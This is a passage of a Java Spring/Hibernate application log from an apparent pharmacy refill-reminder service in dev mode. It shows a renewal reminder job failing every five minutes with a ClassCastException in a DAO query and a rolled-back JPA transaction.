com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 01:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 01:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 01:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 01:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 01:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 01:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 01:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 01:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 01:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 01:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 01:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 01:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 01:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 01:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 01:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 01:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 01:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 01:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 01:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 01:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 01:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 01:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 01:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 01:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 01:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 01:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 01:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 01:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 01:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 01:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 01:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 01:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at 